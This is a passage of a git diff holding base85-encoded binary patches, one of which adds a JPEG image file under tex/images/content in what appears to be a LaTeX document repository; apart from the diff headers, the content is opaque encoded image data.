z?I#`CZT~;p9klc67a9vfSGNT&Vg4N5^h}dG^AB%(I!FQ&2?XE1a>u+JU0{5uCe+^C;aKk3O6`g0i75Vgh`mV1fc;uz<(Cf6uKsRIFQ7s*?FFhT!J zRN9J1PsSRNtE$=@JOvxr`rYSWYOW;6>GXlo*odXYWv(~n=UR7P$r#a&d+p#ig5PEq zEY?=MA|^VYi5_J%_mMRu8RBiJc~E z-i$u}djacK!0eM5u4mtLyF399icoI{pScBPpKX?E!9!qUBB+pQ6M=&ED7_8PQ`9kW%<8#7~iN#wTbP*&)jFW9 ziD(k6C_4UpaFq^mtdbrI2!rHheLqpBl@PDU82EfN z*Mham0&8!2yLqrwF&-(k7O zYev5tGU*UhXV3#M5L4sBsaos7FtqJ}JW)J;BM2ltA` zB-<#tejh->(ZY2m8qE2{8NGC(nWL%g6Qb&~)q6E=LoAT;Ak#+wGT z%-vQNK8hK?5bLlb|FqA8HntW)qZTqU=u__0)D~aR!z^2DiAa{yE|%hzykA<(e{p4x zjP+ZHc1j#&jmWAq<-HtZJ$~FeSnx5?CUY%V+=*Q=V$Eqi)fs;kisr%@)jUoG1RwhL z;!SBA&pqW&Fkv?t)}d;=MV3Ys{qEb#x#`z}Wa7R##?iqUwImz2a2~4j&?~b8$(jN7 z@}xm{lLo-WpqKKQ&G-=uUF(_W)krD{w?WQeDH{EI@a+>o4gmcK8q~3li{5u!Twg;=T#~x;sG0NpuCbJa7`SU;biGVf@(8tlMH+_2K-l_wK7k1czE;m`d1p> zZUeLoT=9hP(i+`=Q*!FC;ogXb58UfV3a)Ivbc zD6N2Sd0LYO)|7ibwf??$f2QhT+0BCr#27Y!PG4|j96ow~?2kg1+GB+N5EF=jh{A|e z@4w@iAn(7c&QK^ddOz>@X}pSs&j{yhQ?V=g<>Xzt2_H{?3(wb_{`MTN^0mh@-%eL%4d3&8|0%~Z%f(?9m> z06na3??o80+2Ku+AZ=J_di+j0(l1n=$f(N*j}yJCkQ^(eKQJ&YGe&7jn-YbIVaqc; zbzbEwPY+|gQ7kYZ0w}p6cJeGgHGP&`%j!k&+?rQNi)L=m)i~=w;-_$DUs6ra!S>_d zD`DO#14+Fc=;ATYW47uKo=?b|TWi7Z^C0s}OP#kH3nd5Nm!BVgPDtsTap;!#XppY@ z&Us{mu9|wxLh6AmJs_ZP{_;!4RA`D~*3A2%9Ev`=zd`Du8i7J{6m~DooZmF?7I}E( z4q=9`6_hlb62qtg`aRuLAYW(iZ~w~zc~_%h;SscjF4uUT0)FQRZ&1!RuS5eV12XBw ze7M#62V?P& z+AA#5j~|!%U@>U2w1Ha_dG+$76Qz=rHfhLhvSoqzd5{VlWS;8%4=;zP`Fxbm63r{# zt=dTn7b&v}xWm_o1JU|Ir@W`SNh^I@=9^LIC5`nE^rFzs(SI(2trhm<;+Q-kYmNGQ zGIWW1{#B&2d5$3$g`99^L%At*U}(VVrCoCLS9z_L2DhKI$+;Zbv$(0z$&1;N&B|e+=J>r>PFyXuRKPLAZ~y`TppZppNDX_>dB>zVjDcG zD!oj=OjpJRda>j7S6}(0fW@K(EX0E|h_809@9B*S_y{J8mF1X^Hyr;@Ers1#xXlZRO84Jjv!(4a%rQP1uwRA&b z)ZTI>V6sYEYmEYgbZ2gyJID*n_EP~~)e+#D$ z!Xnm))Kp);53Ed9d!t!xStrS?I_uswN&r7jAQYje7aRChB`+tEgw+PhuMf6ZN_~`% z)^BmZer8DODZ*3;}4#Y!w@HwzwRI zuR`{Dd)k_@G*}}mUH6jI#l=kle^KZ)SVYvvTJFck9-XLw5>`o}3 z?Ho*KinTEhW8++zf|zq{nvU0>r6t8yo!*X@L$R{hCHU;&?zF>>-l~>zT70N>5~H56 z?OJ>BVT!%DaFx)aI7gUo6A6cneiTPHcBdlWSgPp6%m`q`s?|s`ALKB zbbBM(%dnM?pmh=c6gZ|J4w)#HzeCi>UVQ%_=ynM%%_M?!OF!VrpbXHu9->W$1JKg^ zvChgz(a0bLYhDsZEUDtZIVL{wy*lzsfFdY~8g_?YfhFsf--_EF^YdiT`x5Oa3+Nah ztPLIzM+E-$dxp~dzyta6D$Hs>`EWqJN3ugugy;nkl<57P>G6XuYadDA1o8MVbrxX~Rl+h4JB?6U(FUOe8 z7V&@h!Y>j+G07p9Xe-%sH7D8vH$BE23!f#fF1Wm(VqU*n`RV=nK$tZ&DTN}>sF@E% z!ddXt)52)&Z-1r5tZfZ~;bEG4R`KN-_j~uGUV*sVSd1`s9vT-PdA-2(_CC(07X>oK zJ&o=G4#37O?3w-YxP^5SUU59`qaREfBrk=_wITEAUH#uYDnvS~UWRlo9B)&(dW<#j z$L_t7D=&$bDSq4_CWD*qfv-|V!LdWUmK`U91s-0~)kujzGOo1s9ydM(6pcy9WP z=dUNFKw{??TUiUjywV`R{No)st8hkQ`>0-FpHE-SKO~gp=HO>QA}K;A#;Supa+N70 z&U{KQpjdJjU*weCkvdz2mJzA(Z~#tr{{3Htm>T=ekvMMh#W6lagA~fH|0C$ssj1r^ z=G&%w0S)c632Imrw24=~dhH5~paO>3(@|ivkF7uL9yk1%l*I=+SPjfhQ!`eIRH2W4 zr!*JUN&>cIe3!7@u+=OMR>yD@O`vUBqDwJs!N7owqt%(57}o=5WXDmY4Oa;Hh|4!C z6O)ZUyqBV3AHg$F8@GNzQ-VBJUY?Bf_Z{?Btl7+;!-j8=3OottAa39BxH@le;zXcy7llmlQe= z87!qHT;z(DCbHd?J`}X?bnI50p^$Y^xaX?YSQB8H=^qZWU5)1_ZJ2E6IKOG-N`LG8u+=O8fHT#GdpAR>>fraqMo z2FDF!gBaDF5aGXD-aooy5_68v-O-Yw1jq(0S4r-Qx}L}?!~`Wf(0JA$ps;ub(BfD4ayJr19rou(#kG{wfEP6?Jf%*U%+_H3FY-_dFPIQ~F&u5m`#g9&Z$w^5xkm6~u-G&xA4cAsV+CcsnkR~WCEA4xHnUNkwR5gURNkg%p91l#0*zB6E_!AIz8spm)Z`2uQ)|`dDjGb<;t_ zQ8gK!hOI~q_gL`Vp*(SM(&K2n%!}1?m3ns;XzlgrX`v8!F84{-8n@WW7!#8R0r8n| zG93Q9_-W`_m*c3RxK{KSqIW*G=BZAZ@lUxgC7x6=+<*-4PQCfmYFi}s!^yL#K~NhX zYcnau@4w%b2(pjeJUO(PT~f*(U)dJh1d2tEF`5C_1Ta+c(f3{7R(606gYFPNSDNK4 zvgS1|(_idQ!eiwQt`g_zNB=+gXwe!(1-mRQ+Y{p7?=!3-8+J#9Exy}q;)6hXOlyH0 za?t|1f+S<5fbhw&60Ba;4-s$%76ne@noipX?1pp_!JAqXT@kf(9~2N)QfIVLHnWq* z3(ne2@Xfb<=GSSQ58XI4onUtDROa+gy=$7uip%w`!0fX{{2yp#eo%@Uw$>9_IiIcC)*za`Y+~d-hlFTSyt%Xm z;ibw0=g;#Y*v$f0rBmtIf8Q)({Ea z&|3j-TmHnz(-tpI-F;5@Q1qCO>V@f_vIu?n zZ_K&E+>|S@g;C0Bx56db%9S^R6K&m10mnL=Dwcz@Y41V%=r=1xu?+Vkj$?l@%PWW&uxm&;xhd^$niC} z*rVAl^X)*nZ_sj#pjQS4*a}x(o&BX1dsfQSW+cfy3jxB|Aex!6b+BJ*J$B4<&+xVF(lYz~&#b#F1}frg8oRw_5SitW4x z+!t=m{(>^5lgjqjOgMLLRqmSwa2dqB^)0nX>$%KLEe?5`?1aN{(*w0WT7FWlM>~k~ zyjVptxoLjl<(+}8&(ydSYEAfhlm-d)*5$SAv#32cp1n2h(PrQcZ0fVHwVSqw#cNk5SzeR`}PO9NCALk)N3cQb3UwQA!&0Vp27JQ(c-a#Xjx3K)zgjiMl zG%)muWz=-9GtKEimMuHqhKLm%`S-I%MVl2dWs_1ws-a8o_jc zG$AWGa$+7Ovjf;?^WG`|`c%Bh26mIt?~k|8^443#nOs6KAj$z_Z#^TtFUCxk^o?<6 z%}#Sg*qcR#c2wv=LZW%2xW!~_{hq4SUakI9$$8anL$uEn{v3a}WZU7GmW%pmet_m( z4V&CB5CeAxt&I80T)$X6o#UZV&CbP30W+%bY+a7qQ8zssR|;GYr@SKBp>^Qz4pq}Y zG;9$JAB;lSrgR39n|6D2lX$RQq09i-`g+3d| zypiOMG_{gX1<)$ghW;?J_R>y!utrQZCU7g6;owS~Zrso4+^ildU_8+a<5%KqEhe5e zGrZzlxycHr6xW4XDy=h2)@+t1sFTw8|6hiDIDBSg!`v~)Uox5q$O(q~ENjHoCn zdwZDH(qfxNJd`I^EHcBwHaVub9<{XC#t7AbtnfILp%btc`LxcTzWj-?vE*HvfuwL6 zyP)L&&0coIK3)xlTAOtsGW{}0!pt-13;rEYhJG?=Oj=f-jf=;{5jc&S$%Tb_QGN~( zOb|=sz*2L?r}VVT!7Zy7u6G%8LHdIp3{!H__h%dfyDbK+@zzBdU?R}&|Cm)K*KkM2 zp(DfxjJ4@nqmxalx7ft8+V?yHQ}I#t{M_5#G~lD1OK*I z(L8KSZ8hrR^SM$hfDg~;qWRW@OyY9oJ&a-jKzRx0X9*Vv%r1h7U?`AK+pZ=Ypx(k} z|AnnValfam^xrn-5n#~?R| zPV;0(u`pEn?i)XUc&Xbza58U^Me!&KKuN598p%8jc|fYI4N@E!2GkecDj|}AT8~N@ zZ*U5S8ivI^-~W+vy?Ih4H$}$7WA8LqieVZN1YE9eUjAnERK|lE<%Qz%ap{G>k3Bz! z4BHk{9Y??thZl1*PNV}Muy%Bmpan863Dvm$+m?ANLH45yB{_YKOJL+Is)<8cwTGH^ zCkKp&bxxpBJZ9_p@LM`h!k~mo`A`An9uLav3*zj-m3JjHM!TQMRN9PTd?pbGUY1i8jIT!p!L~!kM>uAc_=4p@yQ&sX(z7zSZ<*t5X+O9bmM7V~mYZ zKzCcDJ*Q>AenBU5T9XdXUKFf~ijeUsD#g#8vz|=qowINRl$?DOc+K)OgLLE6Vv@Ow zMM|fcKdU6K9?(Fi`K#=e`%<>82Js?ku?6`2g$lov=WK>#w!ICL>U05NBd8|JEc+jx zS{;A(A&Vv5dr$`-G&J1dt8JjbjIiaeCyk3>e(3YxQf1cSdh1JttG(K|Cvi$!_uIAX zn41g}uMyzlb5}~X>kq2NKnW=^NfhN64n0aHY8Omp&*lGuO0;fY9L)t ztkJXVf>E0E(iRhHkc6Cg<;sLY^qAC!Bz;?4BYG-)eG%4sIzZWe;;6pwZ;kQXnq`Bu z_IzzbC`f_K1U|dB<-Y!>whd5?#nrAr2Co|MZC(+tXy9Bzy`8|aTG9AGg>at|zw)k| z#~UAwTc)kjGTYS5Hb}TPLFb#U5OS&7FNB2Wp^&sARe?1MHQ|VFNpx?O1z#aEJrov# zbG_FR^>IUYcsgwr#Xb)y<=3CZDTI%f4>WnVqTA%{>5G7Z{@3F7upr{oGSg>6l(;>I zFIA?kH-6%EGa$~a`tn1zS7Je}t?GdhJVZS1!OaY5bJmst^UjOnCTb3&maJLg5wM?2}jnhuP^) z6t2COflJ*wB63_#jZi{40*)H9?A0IB9=p?fUq1e6q`qDv^7_+r{=Ap%`Tik@TluPR zR6Q%A@M?#({D-ndmh<xDb?rKeI)V8rSAmB=VQS*amX)PBQ zrrn8+N%&*8bOmJhuvO-x)Q{N?za+LgI%V|FA*^F- z@`@}WvS@Zz+d_>EWjO$Et*3BcrS%0Bh!0fF9=X0PtBzy>9Ae=m`I_AQi`^7(jWS4B`u#JP|`h~=3psho>ix_oRHIqBLU5_j={*!io6C1iyR%fJ{N3^S-K{hoA#}Z^!teE} z9UC9tQ$2w0P?6P0xI5CESQyWtEc8_CZ~0k0buD=!hr708B>pyRVOZeIQbb980)$P= zxew$bTz(`p6L7~p3@;gnILFpL2~RC1pgR8$S*w5+qfEn?87Xn!2>89sU6e8iaJxKv`P2J4%y$z7>0V&W%B;2^tAcIDWxDn?fHf=|>!}V?r{h0TC5p8=m zY}(oBLaZslldQd$aKS##at0N*Zj^$kKcvmH@5TaZa+y)$Rrt9L=(HSKR zKpW+jw_ZCe2%Nv>%B1)H{*;hnku%i#O6})P&y+9gj3Gn8;*2{Z>d4%FpxAQqn#`+h zgKvVM5cN*e-D2Lu1D`(R51&Gm`t+4sD}|K*UON2gR&#SggG#dH*mlLd@zof%XQ8t3 zdl}>7gcJr|5e%-pzZg+6cZ}Eq`<{^I7qP&`A1n%l ziN7x}An-rKz0{+i1_z>je0Qt_!ftb zD7=G3615uD0Gw}2S^w^P=*|W)D0(|WmIb}$`ActY&qIGC zWP#IAY9QF+BuW?~`nLA#&}!u1d(F6Z>N|QkTnw8v%fnnsfic3lAk?;Qd8(l#LdE6Y zV|fpKK>Gq62}PD*$fA{*jGOO1Xmzv;%b#wF-A1u+jT_D~tMOra3NDpSCbhh})J`?H zKxf#LL;;n~;y|%;LEElx(aN8<7|-{y5t(Z~{Z&r^^835|)EMBYIEu_y1MtcAWB)v7 zb%_|dwTaQ2g2|n0uT|SnUwGQu$YRu5oS?U_=S@Y9L+6l(>zRXu>| zC$a_-0Y$3LhwHI6ZD;MSx9C;ziX#|+sm}}WAXF3=t9{6UhbvQo>d6&;fte^`{hIYz zP_;V`3{WrVWtJl~oN%n^u<7x8X?%OmJG}WIY`X=xB#%5Nq`UNdJxA43vuo%y?BX%= zhy!(D6ACpu#xJQL40s65HgwzcXCP$mWA;}?SVSekKdS+(#wx)v=L;o8N0M|unJhj# zadAAFn>u`qcnZHq(D@y9kq-GVZdX2F;@H6kE_NHrOYItKcs(OofJ zGg3VnJ|C6N@2|Snn`Z#7u7)IAptRMNrxc6P@6JD;x6gWLfmHhq#P4B&Ml&k$G6~=A z7;$&WRJq{Z9;W}0`a=+gkDUz?wV8b!>+X$^o?(RSl3AK0>yq78C$iH2SW2~8hHPSE zLzm3zADn^(#Wv5YhWK5>2FjV$uFWmZTw34M9o03oyT1%%*cH85OCK14*VY%P2d-Yd z8n|W5gQq1e#S`&q?(AJt+jai!nY9KDG+@gp3X(x;_pzK(Ljq2-wPB=m7zCuU{Z%9= zEm3|yzeokJ%}nGLQW*Bp63&&Q-fTZok%s2VE64Sk0r>`%Js;fhFA{^nj1XnoX#x@; zUs9Zk6O5vx#$S+z@x+-)eV{&did(tw`=TyQd8d<-t=%HxAZ8Kk0NDJHGN0D%qh`LX zf~gLt;~}L?tgb`h~S&R|G4|qeY$Nd(>oNo9QYIP;D7rJ%5;S`!ZPpWB>UfhswtQ zcb%eM-1Eyt+VL6_u}5%J{qqjV|;ey236;cd)00JlJR z{{RmD`Q!5zH6c7ZI5DA1BK^lKz=pvDI zd?ecjHvpgvl@0iw+2{4gPD)MTOpE~801=U#bH;JUU$1_8WLV|gKC7X?K9cF2hAyWZ z05R|AGJpMD0H=9u+Zj|gIT^_S@-TDh$Q=*!73ebfX8`07OJ|XibB|Mx>HMml$AubD z$ICcn%KCH1U&kNg-$-L4)Q5$89&aX`@`eI3z#L=@5!`3<{K=@!i6fS9j@cL)QVw|^ zUgz}d&3ZJR3}EDhV1$xKQ`bE{xZ|Fu*q1MZ(5_tr0m0)TjtDp&*nYo=L~lbl`RC+uM=1 z;mcws%H@|iQhJ`8^y}_3(zmWW9%bjtTo1Z8Wsl3#*E}A%$j@98O}6l>!0vW}R{(Ct zbB|NcKtCZ-JX~a~*>J+Ry$#O~ks2a^4%XN?!QguPf;0Y2b@p?qh%r@e*f|-&J@L?= z%=b91S4psYc>r-9-ab+|Yz&UQutEN!wqa8Qc-mEl6rbWA=hwf}lU_x8Hg-lm%^5Bu zjQqhAkN_Y6bN)}L$;Cx2@&XA|U^)!vJoOy@9=$R>Gvx%GgE`tj$5Whi!Tf5h(mNu8 zs>Ju|r03V)kCY&-pvb`ujIcWi2f6$`{Y_<- zksFn4WS)ndcl7@NJ@N%ale!EOyl1Cl*RFBt`2PSc6*M%B#nq94P>AQ{!2_?*dK?}< zLyBVRh*}l}2LzG*;BdI;aohCjdE<(bYf{L?RZ8s{9OrKw=hzPY_^dfKz{DJ7 znL_dck8W|m&#y`#*5sDxVHgbi61?>NKBMsGWkTA4$^O`WBbQA01$Kl0FJ?$`8-PK{ z{5co{ztfM1ZdkH_MSWxYb@+jk;pU5EQ07_Lw*olFAx1eJyMOh*O}N2gaezNM{Ud~F za$vc;w*LT6(ENLks<~s-Kb9-;)TcNK$Bso*Cj|7XS0fqd2Vv<|Pu<{G*g*WoyVl29 z;D$2kash#`=OY6@tv66YMtWl)9y-!|KbJ60p-IY~{Xft7$6B$f!=5lkbIv;d0G_qy zPfE=nRfk;oC_f`8p&bD0k7|N&Lh?p^G19M;80W9*Dy_;KFd&XOIPY6UoE0hPW#5Ce zbkD6CL_T%V-O)yQw_g;&Vy>BnC5p|Mr|AZ9GNz~pwQnTS9AZnYz@B>j8TFIvSMvusr)ws`AZK8r8f zY(d5fjAZkl^N-fKY#jBjhr;sy<6#-cCzDuWm$`G%$|q{vy~}S25}y2n{zW|$h`<;* zJbTo$LzX?q)11(V7BF%K(bIQMwdeC_eG;c;B#KODgU7aOGf+=6pe#W?^{JeO!(-o} zKj->YJIJ>)ago^i)zfxnSeRZq5b5e&uyKz4@#{|4X4z)MkXZ6_)~2>q4U_l)Pg=|I zHOMZgrya=tRjd~^L~-IL?6B>a>~eEkzYV-$bKox?Xxi1IGTiAmu--&LBMlpdA6}o% zu(|%2r^4G@es$kCDaFO?&zqr9)2SK9bnbq?_@l;8eelNTRDs>CuC(v9+c=n?l*her zK*JInwsFs|GbJVddlC6=|eM!f!J-F%CkuOf&s_b)udB)T9?0RrLd(lOHSIUp*M8`GQ$KD|a zDg$Gv-~q-5Uvepi>&*pE%uiL%10)_u^%?&F4^oObP$nwe?i_3^dz=BDIOBkN`}E_{ z@!SA%Hvza0oB_M38PC5zS}3H_LVd+DsbC~kI8r@_1G)FkK9sp(kVZ~-IOuWQkWWrJ z9;ZJ-QBz=h5l^_k05J!gfq*)8?bDj2e{CYiw_}#)>NC`ISCX8FCi`2dMpio|yU+SJ7bW$txqm#^K>T zWG7jqJMB%X8lcFE(meREEa!*|6L5?7GG`s4sJ&#e?!1FtLC?R1eeULCr3 zQg`KsLCGC^;CIefJ%2JQLJtUC$~VYahZsFQKh8RTIw-6vVkU;EM82L2mS)c_lk@-% zr|Hx59jQmd$s}+YTWeq*fb{xy>Bl?|N+_;(im0|L*+jPw!*X2Z0V5@pslfK*r#T#Y z)}61zbd0I;Gbi0R$6v#az0bEy(M5Al6;bsXiblP!fK)VWQy>hfE4X7gQ;cPI(=>xQBmzAJCV=faGa_Y zB<{fk07f~^eSboK49mX_pk)LdtH@S4IKbeKraeBCQCh;Jff>^1k)(_=*=ENdsK;MH z$MfpwH0X*Q&TvN|PvCHW0s;DZ(M4^}&0>oN))jn~UYI!K^!LFW{{TvnB91j*yYqa+ z6OoRiJbV8DKg6PuAP^}T3y=bm&y0?L$Mipgq>P~i;E=gs!|vlhk5B7G6tAgG2#OHr zA9x+zIp;s8{{UK|ls48X03+t^bLvm#J9_;nqMF=k5Xo!Hah2@2&U*A7xZrx@zd;4e z1TZ9S!6lhSI63K&{&?v{6>)lr_actND~uLCrH5R8Jx@PgYEfcUjs|xOVROoZ#~bypO|RHg(iY_6pg@Nt3%PUC`e)aU;I)sYj}qm#G>-Hr&zJ-H{-r@l{G zD5{G9Z9Ns7;3>#EfgY!W`hSsC?lj=20Z?0}7z2aT^2qJir4&|?Zsc64ai=gOuJFsy z<7pYeCnKKA`t|RhCXmWbcsa)(#yS0e&w41W<2E7&@Wg}+=aY^&`i|W4fBN|5TTcp~ zv;e4Ck2njfL&P!{u?)x{!JP=&vGoCC^T@QCu`>Mipk`)!*tg( literal 0 HcmV?d00001 diff --git a/tex/images/content/nate-grant-346782.jpg b/tex/images/content/nate-grant-346782.jpg new file mode 100644 index 0000000000000000000000000000000000000000..9b0bc9ff8c57cd8f348d300ab05985141437c1d0 GIT binary patch literal 72767 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 